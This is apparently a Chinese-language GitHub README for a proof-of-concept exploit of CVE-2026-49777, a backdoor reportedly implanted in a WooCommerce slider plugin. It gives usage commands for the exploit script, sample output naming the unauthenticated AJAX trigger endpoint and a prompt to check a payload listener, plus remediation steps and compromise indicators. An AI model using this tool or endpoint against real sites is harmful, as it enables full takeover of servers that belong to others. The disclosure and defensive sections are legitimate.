amnsecurity/CVE-2026-49777-WooCommerce-RCE

# 🇸🇦 العربية # 🇨🇳 简体中文 ## 执行摘要 在 **Product Slider Pro for WooCommerce** WordPress 插件中发现了一个严重的安全漏洞，该插件包含被蓄意植入的恶意软件，可以在无需任何身份验证的情况下下载并执行远程 payload。此缺陷允许未经身份验证的攻击者在目标服务器上实现完全的远程代码执行（RCE），从而导致系统被完全攻陷。 **CVSS 评分：10.0（严重）** ## 漏洞详情 | 字段 | 值 | |-------|-------| | **CVE** | CVE-2026-49777 | | **严重程度** | 严重 (CRITICAL) | | **CVSS 评分** | 10.0 | | **类型** | 远程代码执行 (RCE) | | **产品** | Product Slider Pro for WooCommerce | | **平台** | WordPress | | **供应商** | ShapedPlugin | | **影响** | 网站与服务器被完全攻陷 | | **身份验证** | 无需验证 (Unauthenticated) | | **复杂度** | 低 | ### 参考 - [The Hacker News - ShapedPlugin WordPress Pro 插件恶意软件植入](https://thehackernews.com/2026/06/shapedplugin-wordpress-pro-plugins.html) - [CVE-2026-49777](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-49777) ## 攻击流程 该漏洞的利用遵循以下步骤： 1. **侦察**：攻击者识别目标上是否存在易受攻击的插件 2. **利用**：攻击者向未受保护的 AJAX endpoint 发送精心构造的 HTTP 请求 3. **远程下载**：插件从攻击者控制的服务器下载恶意 payload 4. **执行**：payload 在目标服务器上执行，没有任何安全检查 5. **攻陷**：攻击者获得完整的文件系统访问权限，并可以执行任意命令 ``` Target WordPress Site Attacker Server | | |--- HTTP Request (AJAX trigger) -------->| (Phase 1: Trigger) | | |<-- 200 OK / Command Response ------------| | | |--- Payload Download Request ----------->| (Phase 2: Payload Fetch) | | |<-- Malicious Payload --------------------| | | |--- [Payload Executes Locally] | (Phase 3: Execution) | | | v | FULL REMOTE CODE EXECUTION | - File read/write | - Database access | - Privilege escalation | - Lateral movement ``` ## 使用方法 ### 基础扫描 ``` python CVE-2026-49777.py -t https://example.com ``` ### 使用代理扫描（调试） ``` python CVE-2026-49777.py -t https://example.com --proxy http://127.0.0.1:8080 ``` ### 仅检查（不利用漏洞） ``` python CVE-2026-49777.py -t https://example.com --check-only ``` ### 自定义超时 ``` python CVE-2026-49777.py -t https://example.com --timeout 60 ``` ### 选项 | 参数 | 描述 | |----------|-------------| | `-t, --target` | 目标 WordPress 网站 URL | | `--proxy` | 用于调试的 HTTP 代理（例如 http://127.0.0.1:8080） | | `--check-only` | 仅检查目标是否存在漏洞，不进行利用 | | `--timeout` | 请求超时时间，以秒为单位（默认：30） | | `--no-banner` | 隐藏 banner 显示 | ## 示例输出 ``` █████╗ ███╗ ███╗ ███╗ ██╗ ███████╗███████╗ ██████╗██╗ ██╗██████╗ ██╗████████╗██╗ ██╗ ██╔══██╗████╗ ████║ ████╗ ██║ ██╔════╝██╔════╝██╔════╝██║ ██║██╔══██╗██║╚══██╔══╝╚██╗ ██╔╝ ███████║██╔████╔██║ ██╔██╗ ██║ ███████╗█████╗ ██║ ██║ ██║██████╔╝██║ ██║ ╚████╔╝ ██╔══██║██║╚██╔╝██║ ██║╚██╗██║ ╚════██║██╔══╝ ██║ ██║ ██║██╔══██╗██║ ██║ ╚██╔╝ ██║ ██║██║ ╚═╝ ██║ ██║ ╚████║ ███████║███████╗╚██████╗╚██████╔╝██║ ██║██║ ██║ ██║ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚══════╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╔══════════════════════════════════════════════════════════════════════════════╗ ║ CVE-2026-49777 | CVSS 10.0 CRITICAL ║ ║ Product Slider Pro for WooCommerce - Malicious Software Implantation RCE ║ ║ Discovered & Published by AMN SECURITY ║ ╚══════════════════════════════════════════════════════════════════════════════╝ [*] Target: https://example.com [*] ============================================================ [*] Detecting Product Slider Pro for WooCommerce plugin... [+] Plugin detected! Version: 2.2.0 [!] Version 2.2.0 is VULNERABLE! [*] ============================================================ [!] Attempting exploitation of CVE-2026-49777... [*] Testing endpoint: /wp-admin/admin-ajax.php?action=wc_psp_download_remote [+] Exploit successful via GET: /wp-admin/admin-ajax.php?action=wc_psp_download_remote [+] Malicious payload download was triggered! [*] ============================================================ [+] ╔══════════════════════════════════════════════════════════════╗ [+] ║ EXPLOITATION SUCCESSFUL ║ [+] ║ CVE-2026-49777 triggered on target ║ [+] ╚══════════════════════════════════════════════════════════════╝ [*] The remote payload download/execution was triggered. [*] Check your listener/payload server for incoming connections. ``` ## 修复措施 1. **立即从 WordPress 管理仪表盘中删除该插件** 2. **扫描服务器**以查找可能已被下载的任何恶意文件 3. **检查 WordPress 数据库中**是否存在未经授权的用户 4. **更改所有密码**，包括 WordPress 管理员、数据库和 FTP/SFTP 密码 5. **查看服务器日志**以发现任何可疑活动 6. **将所有插件和主题更新**至最新版本 7. **对所有服务实施最小权限原则** 8. **考虑部署 Web Application Firewall (WAF)** 作为额外的防御层 9. **监控出站流量**，以发现与已知恶意 IP 的连接 10. **对受影响的系统进行全面的安全审计** ## 受影响版本 怀疑 **Product Slider Pro for WooCommerce** 的所有版本均受到影响。 | 版本范围 | 状态 | |---------------|--------| | 1.0.0 - 1.3.1 | 易受攻击 | | 2.0.0 - 2.2.0 | 易受攻击 | | 未知/其他 | 疑似易受攻击 | ## 危害指标 请注意以下被利用的迹象： - `/wp-content/plugins/woo-product-slider-pro/cache/` 中出现意外文件 - `/wp-content/uploads/` 中出现未知的 PHP 文件 - `wp_options` 表中存在可疑条目 - 来自 Web 服务器的意外出站连接 - 插件目录中具有最近时间戳的文件 - WordPress 数据库中新增的管理员用户

标签：CISA项目, PoC, WooCommerce, WordPress插件, 暴力破解, 编程工具, 网络信息收集, 远程代码执行, 逆向工具